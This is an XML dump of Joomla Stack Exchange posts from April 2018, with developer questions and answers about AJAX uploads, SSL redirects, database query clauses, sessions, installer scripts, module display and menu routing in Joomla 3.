  <row Id="22626" PostTypeId="2" ParentId="5130" CreationDate="2018-04-03T11:31:25.593" Score="2" Body="&lt;p&gt;I have used the Modal plugin from Regular Labs to do something like you describe. There is a free version and a Pro version available.&#xA;Their plugin is easy to use and with minimum reading of their tutorial, anyone can use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not affiliated with them, nor do I have any kind of relation with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://www.regularlabs.com/extensions/modals&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modal&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12401" LastEditorUserId="115" LastEditDate="2018-04-03T12:01:14.770" LastActivityDate="2018-04-03T12:01:14.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22629" PostTypeId="1" CreationDate="2018-04-04T16:11:12.903" Score="1" ViewCount="371" Body="&lt;p&gt;I need to upload an image to the server via AJAX, but the server comes back to the page with request, although server doesn't send anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ajax: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function uploadServer($el) {&#xA;    var fileUpload = $el.get(0);&#xA;    var file = fileUpload.files[0];&#xA;    var url;&#xA;    if (file) {&#xA;        var data = new FormData();&#xA;        data.append('image', file);&#xA;&#xA;        var request = {&#xA;            'option': 'com_ajax',&#xA;            'module': 'constructor',&#xA;            'method': 'uplodeImage',&#xA;            'val'   :  data,&#xA;            'format': 'raw',&#xA;        };&#xA;        console.log(request);&#xA;        $.ajax({&#xA;            async: false,&#xA;            type: 'post',&#xA;            cache: false,&#xA;            contentType:false,&#xA;            processData:false,&#xA;            data: request,&#xA;            success: function (response) {&#xA;                url = response;&#xA;            }&#xA;        }).done(function(response){&#xA;            url = response;&#xA;        });&#xA;    }&#xA;    $('#debug').html(url);&#xA;    return url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modConstructorHelper&#xA;{&#xA;    // Загрузка изображений во временную папку &#xA;    public static function uplodeImageAjax() {&#xA;        jimport('joomla.application.module.helper');&#xA;        jimport('joomla.application.input.files');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12405" LastEditorUserId="12352" LastEditDate="2018-04-11T11:20:51.537" LastActivityDate="2018-04-11T11:20:51.537" Title="How to upload an image using Ajax?" Tags="|joomla-3.x|php|jhtml|file-upload|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22630" PostTypeId="1" CreationDate="2018-04-04T17:38:21.843" Score="2" ViewCount="55" Body="&lt;p&gt;How can I implement SSL Certificate on my site on Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already try to enable it from the administration global configuration but it did not work as it's supposed to. So, are there's w way to install SSL Certificate directly or on Terminal?&lt;/p&gt;&#xA;" OwnerUserId="12406" LastActivityDate="2018-04-05T08:23:06.283" Title="SSL Certificate on Joomla site?" Tags="|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22631" PostTypeId="1" AcceptedAnswerId="22898" CreationDate="2018-04-04T18:55:40.130" Score="6" ViewCount="3859" Body="&lt;p&gt;I am trying to select records where a column is in a suggested list if values using the IN clause. &#xA;I have tried the query below but the system is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true); &#xA;    $query&#xA;        -&amp;gt;select(array('type', 'name', 'id', 'created_by', 'amount', 'created', 'cat_id', 'status'))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__zoo_item'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('created_by') .' = '.$db-&amp;gt;quote(10))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('status') .' IN '.$db-&amp;gt;quote(1,2,4))//THIS IS MY PROBLEM.&#xA;        -&amp;gt;group($db-&amp;gt;quoteName('created_by'))&#xA;        -&amp;gt;order('id DESC')&#xA;        -&amp;gt;setLimit(1);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $loan = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problematic clause is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('status') .' IN '.$db-&amp;gt;quote(1,2,4))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will be glad if someone can help, thank you.&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2019-10-26T21:40:04.613" Title="How to Use IN Clause in Joomla Query" Tags="|mysql|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22633" PostTypeId="2" ParentId="22630" CreationDate="2018-04-05T08:23:06.283" Score="1" Body="&lt;p&gt;Many of the best hosting companies now provide SSL certificates for free and these are sometimes enabled by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browse to the https version of your website and you'll soon see if this is the case with your own hosting provider (look for the padlock etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be an option in cPanel for you to enable this yourself. Look for &quot;Let's Encrypt&quot; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find an option to enable SSL, then talk to your hosting provider as they may have a paid SSL option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the SSL Certificate is enabled, you can then enable the appropriate option in &lt;code&gt;System -&amp;gt; Global Configuration -&amp;gt; Server -&amp;gt; Force HTTPS&lt;/code&gt; e.g. set this to: &quot;Entire Site&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Force HTTPS option in Joomla doesn't always seem to work reliably for me so I usually include this in my .htaccss file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTPS} off&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-04-05T08:23:06.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22638" PostTypeId="1" AcceptedAnswerId="22641" CreationDate="2018-04-06T03:15:04.920" Score="1" ViewCount="654" Body="&lt;p&gt;I am sending a POST ajax call like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var request = {&#xA;    option    : 'com_ajax',&#xA;    module    : 'mod_test',  // to target: mod_test&#xA;    method    : 'Test',  // to target: function TestAjax in class modTestHelper&#xA;    format    : 'raw',&#xA;    data      : {a: [], b: {}, c: [0], d: [null]}&#xA;};&#xA;$.ajax({method: 'POST', data: request})&#xA;// .success( ...yatta yatta&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am receiving with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('data', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the passed empty subarray (&lt;code&gt;a&lt;/code&gt;) and subobject (&lt;code&gt;b&lt;/code&gt;) are purged before reaching my php script.  So, the contents of &lt;code&gt;$data&lt;/code&gt; is &lt;code&gt;['c'=&amp;gt;'0', 'd'=&amp;gt;['']]&lt;/code&gt;. In other words, when I call &lt;code&gt;isset($data['a'])&lt;/code&gt; or &lt;code&gt;isset($data['b'])&lt;/code&gt; they evaluate as &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my module, I ended up passing the string &lt;code&gt;0&lt;/code&gt; to represent an empty array, but my code would be tidier if I was permitted to pass an empty array to php.  (For my project, the first level has a known number of elements, only the subarrays are dynamically generated.)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is this a bug, a feature, and/or a known behavior?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Am I able to adjust my &lt;code&gt;JFactory...&lt;/code&gt; line to accept empty subarrays?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did get some insight but not a complete solution from these related answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/4233/12352&quot;&gt;https://joomla.stackexchange.com/a/4233/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/5344/12352&quot;&gt;https://joomla.stackexchange.com/a/5344/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/17659/12352&quot;&gt;https://joomla.stackexchange.com/a/17659/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/4558/12352&quot;&gt;https://joomla.stackexchange.com/a/4558/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.8.6&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-04-06T05:53:02.273" LastActivityDate="2018-04-07T02:59:50.313" Title="JFactory::getApplication()-&gt;input-&gt;post-&gt;get() prunes empty sub arrays/objects" Tags="|ajax|joomla3.8|jfactory|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22640" PostTypeId="1" AcceptedAnswerId="22642" CreationDate="2018-04-06T16:13:29.927" Score="0" ViewCount="107" Body="&lt;p&gt;I have declared a XML manifest file for my extension of type file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;file&quot; version=&quot;2.5&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;os_mp&amp;lt;/name&amp;gt;&#xA;...&#xA;...&#xA;    &amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;...&#xA;...&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script file is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class os_mpInstallerScript&#xA;{&#xA;    public function postflight($type, $parent)&#xA;    {&#xA;        echo '&amp;lt;h1&amp;gt;' . $type . '&amp;lt;/h1&amp;gt;';&#xA;&#xA;        var_dump($type);&#xA;        var_dump($parent);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code of the scrip file doesn't seem to get executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise!&lt;/p&gt;&#xA;" OwnerUserId="7562" LastActivityDate="2018-05-07T13:39:28.973" Title="Extension Type &quot;File&quot; execute scriptfile tag in manifest" Tags="|joomla-3.x|extensions|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22641" PostTypeId="2" ParentId="22638" CreationDate="2018-04-07T02:59:50.313" Score="2" Body="&lt;p&gt;If you dumped the $_POST in your helper's ajax method you would see that those empty arrays don't hit the server.  Joomla's input object is entirely dependent on retrieving the values from $_POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JQuery ajax doesn't pass empty arrays, see this for example further reading:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/9397669/jquery-ajax-jsonp-how-to-actually-send-an-array-even-if-its-empty&quot;&gt;https://stackoverflow.com/questions/9397669/jquery-ajax-jsonp-how-to-actually-send-an-array-even-if-its-empty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-07T02:59:50.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22642" PostTypeId="2" ParentId="22640" CreationDate="2018-04-07T11:39:15.067" Score="0" Body="&lt;p&gt;Finally found the issue. I have miswritten the class name of the installer script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class os_mpInstallerScript&#xA;{&#xA;    public function postflight($type, $parent)&#xA;    {&#xA;        echo '&amp;lt;h1&amp;gt;' . $type . '&amp;lt;/h1&amp;gt;';&#xA;&#xA;        var_dump($type);&#xA;        var_dump($parent);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find the correct calss name that joomla installer expected, I debugged the setupScriptfile member function of JInstallerAdapter. The file is located at &lt;code&gt;libraries/cms/installer/adapter&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7562" LastActivityDate="2018-04-07T11:39:15.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22644" PostTypeId="1" CreationDate="2018-04-09T07:45:23.720" Score="2" ViewCount="683" Body="&lt;p&gt;I have a php session value like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_SESSION['variable'] = &quot;value&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to access this session value in Joomla admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This session value is stored in PHP file and not in Joomla front end (php file created within public_html).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the question is not clear may be, Simply set session in php using $_SESSION and get in joomla using either $_SESSION or getSession() method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla files and php files are in the same public_html, other than there is no common for these 2 files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me.&lt;/p&gt;&#xA;" OwnerUserId="12423" LastEditorUserId="12423" LastEditDate="2018-04-09T10:57:38.683" LastActivityDate="2018-06-09T07:50:44.313" Title="Access PHP Session from Joomla backend" Tags="|php|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22645" PostTypeId="2" ParentId="22644" CreationDate="2018-04-09T10:16:37.557" Score="2" Body="&lt;p&gt;Firstly, make sure you are setting this variable using the Joomla API rather than the PHP native session handler. This will ensure the session value, along with all other Joomla session value are stored in the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the session variable like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('variable', 'value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and easily access it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;get('variable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-04-09T10:16:37.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22647" PostTypeId="2" ParentId="5104" CreationDate="2018-04-10T07:28:20.240" Score="0" Body="&lt;p&gt;The easiest and most readable code that worked for me is here =&gt; &lt;a href=&quot;https://webkul.com/blog/menu-item-joomla-rebuild-automatically/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://webkul.com/blog/menu-item-joomla-rebuild-automatically/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-04-10T07:28:20.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22648" PostTypeId="1" AcceptedAnswerId="22656" CreationDate="2018-04-10T09:00:47.190" Score="2" ViewCount="803" Body="&lt;p&gt;I'm having some issues with checking if a module is displayed on the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried out different approaches with &lt;code&gt;JModuleHelper&lt;/code&gt; methods, eg &lt;code&gt;isEnabled&lt;/code&gt;, but it only works with module types not module &quot;instances&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried fetching the module by name or position, but objects returned do not contain any information about what menu items are assigned to this module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also considered fetching the menu item object or the article object (I'm checking this from a article layout override ~ com_content) but couldn't find any information that could help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put: I need to check if a module is currently displayed on an article view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone could help me with this.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12349" LastActivityDate="2018-05-11T21:42:03.563" Title="PHP: Check if a module is displayed on the current page" Tags="|joomla-3.x|php|module|articles|module-display|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22649" PostTypeId="2" ParentId="727" CreationDate="2018-04-10T13:33:17.993" Score="0" Body="&lt;p&gt;I guys. In my case, I was having this because the 'task' was not being passed to the page. I had a hidden form field that had&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;jform[task]&quot; value=&quot;myCustomTask&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;myCustomTask&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was mainly because I had the task in the a form's XML file.&lt;/p&gt;&#xA;" OwnerUserId="12210" LastActivityDate="2018-04-10T13:33:17.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22650" PostTypeId="2" ParentId="9616" CreationDate="2018-04-10T18:31:08.333" Score="0" Body="&lt;p&gt;There is nothing wrong in having custom properties in the child classes based on JTable. I did it and it works. You just need to chose your property names wisely and make sure that they do not collide with the table's columns names or the reserved Joomla table names.&lt;/p&gt;&#xA;" OwnerUserId="12210" LastActivityDate="2018-04-10T18:31:08.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22652" PostTypeId="1" CreationDate="2018-04-11T09:44:19.233" Score="1" ViewCount="509" Body="&lt;p&gt;I have two menu items, for example &lt;strong&gt;Menu1&lt;/strong&gt; and &lt;strong&gt;Menu2&lt;/strong&gt;. Both are a &lt;strong&gt;Category Blog&lt;/strong&gt; for same category &lt;strong&gt;Cat1&lt;/strong&gt;, but &lt;strong&gt;Menu1&lt;/strong&gt; has some specified &lt;strong&gt;tags&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, some articles are present on both pages, and all &lt;code&gt;url&lt;/code&gt;'s on both pages look like: &lt;code&gt;/Menu1/article1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force Joomla! to link articles to second menu item? Or, maybe, how to make links without menu but with category name like: &lt;code&gt;/Cat1/article1&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12430" LastActivityDate="2023-12-11T23:03:45.480" Title="How to link article to specific menu item?" Tags="|joomla-3.x|menu-item|url|router|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22653" PostTypeId="2" ParentId="22652" CreationDate="2018-04-11T10:02:29.413" Score="0" Body="&lt;p&gt;Have you tried deleting your first menu item and remaking it? Sounds like you just want to prioritise the second category blog menu item and the router is finding the first one first.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-11T10:02:29.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22654" PostTypeId="1" CreationDate="2018-04-11T10:34:51.193" Score="1" ViewCount="151" Body="&lt;p&gt;Joomla has custom fields, but I want something more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a field, lets say: colors to a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible somehow that a user can open an article, and add his own options? In this case colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example: a user opens an article, sees a field named colors and he adds a list himself of available colors, red, green, blue you name it.&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2018-04-11T16:17:31.270" Title="Joomla custom fields let a user add their own options" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22655" PostTypeId="1" CreationDate="2018-04-11T10:43:15.420" Score="1" ViewCount="423" Body="&lt;p&gt;Excuse me for my English. I'm a newbie in joomla. I make a phone book component and i wanna add a Ajax pagination. I've got Jquery function load_data where i put a url to my php page. And this is where i block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Updated)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// default.php&#xA;            // No direct access to this file&#xA;            defined('_JEXEC') or die('Restricted access');&#xA;&#xA;            JHtml::_('stylesheet', JUri::root() . 'media/com_annuaire/css/annuaire.css');  // For CSS files&#xA;            JHtml::_('script', &quot;//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js&quot;); &#xA;            JHtml::_('script', JUri::root() . 'media/com_annuaire/js/annuaire.js'); &#xA;&#xA;&#xA;&#xA;            $item = $this-&amp;gt;item-&amp;gt;loadObject();&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;background-annuaire&quot; style=&quot;background-image: url('&amp;lt;?php echo $item-&amp;gt;background; ?&amp;gt;');&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;background-bloc&quot;&amp;gt;&#xA;                    &amp;lt;div id=&quot;bloc-annuaire&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;script&amp;gt;  &#xA;             $(document).ready(function(){  &#xA;                  load_data();  &#xA;                  function load_data(page)  &#xA;                  {  &#xA;                       $.ajax({  &#xA;                            url:&quot;/components/com_annuaire/views/annuaire/tmpl/pagination.php&quot;,  &#xA;                            method:&quot;POST&quot;,  &#xA;                            data:{page:page},  &#xA;                            success:function(data){  &#xA;                                 $('#bloc-annuaire').html(data);  &#xA;                            }  &#xA;                       })  &#xA;                  }  &#xA;                  $(document).on('click', '.pagination_link', function(){  &#xA;                       var page = $(this).attr(&quot;id&quot;);  &#xA;                       load_data(page);  &#xA;                  });  &#xA;             });  &#xA;             &amp;lt;/script&amp;gt;  &#xA;&#xA;&#xA;     //pagination.php  &#xA;&#xA;    defined('_JEXEC') or die('Restricted access');&#xA;&#xA;&#xA;&#xA;     $record_per_page = 5;  &#xA;     $page = '';  &#xA;     $output = '';  &#xA;     if(isset($_POST[&quot;page&quot;]))  &#xA;     {  &#xA;          $page = $_POST[&quot;page&quot;];  &#xA;     }  &#xA;     else  &#xA;     {  &#xA;          $page = 1;  &#xA;     }  &#xA;&#xA;     $start_from = ($page - 1)*$record_per_page;  &#xA;     echo &quot;1&quot;;&#xA;&#xA;          $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;          $id     = $jinput-&amp;gt;get('id', 1, 'INT');&#xA;&#xA;          $db    = JFactory::getDbo();&#xA;          $query = $db-&amp;gt;getQuery(true);&#xA;          $query-&amp;gt;select('s.id as id,s.title,#__annucategories.title as category,annucatid,annuid,s.desc,s.address,s.numberphone,s.mail,s.city,s.place,#__annuairespoissy.background as background')&#xA;              -&amp;gt;from('#__servicespoissy AS s')&#xA;              -&amp;gt;leftJoin('#__annucategories on annucatid=#__annucategories.id')&#xA;              -&amp;gt;leftJoin('#__annuairespoissy on annuid=#__annuairespoissy.id')&#xA;              -&amp;gt;where('s.published = 1 AND annuid=' . (int)$id);&#xA;          $db-&amp;gt;setQuery((string)$query,$record_per_page,$start_from);&#xA;          $items = $db-&amp;gt;loadObjectList(); &#xA;          echo &quot;2&quot;;&#xA;&#xA;        foreach ($items as $row) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;bloc-service&quot;&amp;gt;&#xA;              &amp;lt;div class=&quot;category-annuaire&quot;&amp;gt;&amp;lt;?php echo $row-&amp;gt;category; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;              &amp;lt;div class=&quot;category-title&quot;&amp;gt;&amp;lt;?php echo $row-&amp;gt;title; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;              &amp;lt;span&amp;gt;En savoir plus&amp;lt;/span&amp;gt;&#xA;              &amp;lt;div class=&quot;informations&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;category-desc&quot;&amp;gt;&amp;lt;?php echo $row-&amp;gt;desc; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;category-place&quot;&amp;gt;&amp;lt;img src =&quot;/media/com_annuaire/images/place.png&quot; alt=&quot;ico&quot; style=&quot;float:left; padding-right: 5px;&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $row-&amp;gt;place; ?&amp;gt; - &amp;lt;?php echo $row-&amp;gt;address; ?&amp;gt; - &amp;lt;?php echo $row-&amp;gt;city; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;category-numberphone&quot;&amp;gt;&amp;lt;img src =&quot;/media/com_annuaire/images/tel.png&quot; alt=&quot;ico&quot; style=&quot;float:left; padding-right: 5px;&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $row-&amp;gt;numberphone; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;category-mail&quot;&amp;gt;&amp;lt;img src =&quot;/media/com_annuaire/images/mail.png&quot; alt=&quot;ico&quot; style=&quot;float:left; padding-right: 5px;&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $row-&amp;gt;mail; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;    &amp;lt;?&#xA;      echo &quot;string&quot;;&#xA;     $total_records = $db-&amp;gt;loadRowList();&#xA;     $total_pages = ceil($total_records/$record_per_page);  &#xA;     for($i=1; $i&amp;lt;=$total_pages; $i++)  &#xA;     {  &#xA;          $output .= &quot;&amp;lt;span class='pagination_link' style='cursor:pointer; padding:6px; border:1px solid #ccc;' id='&quot;.$i.&quot;'&amp;gt;&quot;.$i.&quot;&amp;lt;/span&amp;gt;&quot;;  &#xA;     }  &#xA;     $output .= '&amp;lt;/div&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;';  &#xA;     echo $output;  &#xA;     ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As result, i've got 'Restricted access', so i try to remove  'defined('_JEXEC') or die('Restricted access');' from pagination.php, but my browser returns : &quot;Failed to load resource: the server responded with a status of 500&quot;. &#xA;I know i do something wrong but i don't know what. Someone to help me pls ?&#xA;All my files are in the same directory.&lt;/p&gt;&#xA;" OwnerUserId="12432" LastActivityDate="2018-04-11T10:43:15.420" Title="joomla make a ajax request for another php file" Tags="|joomla-3.x|php|ajax|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22656" PostTypeId="2" ParentId="22648" CreationDate="2018-04-11T11:30:14.273" Score="3" Body="&lt;p&gt;After spending some time on checking this within the article component, I just gave up and took another approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm actually checking if the module is loaded, within the &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the snippet that at the end I used to make this work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$mod_loaded = false;&#xA;$_mods = JModuleHelper::getModules('mymoduleposition');&#xA;foreach ($_mods as $key =&amp;gt; $mod) {&#xA;    foreach ($mod-&amp;gt;advancedparams-&amp;gt;conditions[&quot;menuitems_selection&quot;] as $_key =&amp;gt; $_menu_item) {&#xA;        if ($_menu_item == $menu-&amp;gt;id) {&#xA;            $mod_loaded = true;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I load modules by position using the &lt;code&gt;JModuleHelper::getModules('position_name')&lt;/code&gt; method, and then check if any modules in that position have an assigned menu item with the same ID as the current menu item ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that that this works from the template's &lt;code&gt;index.php&lt;/code&gt; and might cause problems somewhere within the article component or other components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps those who have similar issues!&lt;/p&gt;&#xA;" OwnerUserId="12349" LastEditorUserId="12349" LastEditDate="2018-05-11T21:42:03.563" LastActivityDate="2018-05-11T21:42:03.563" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
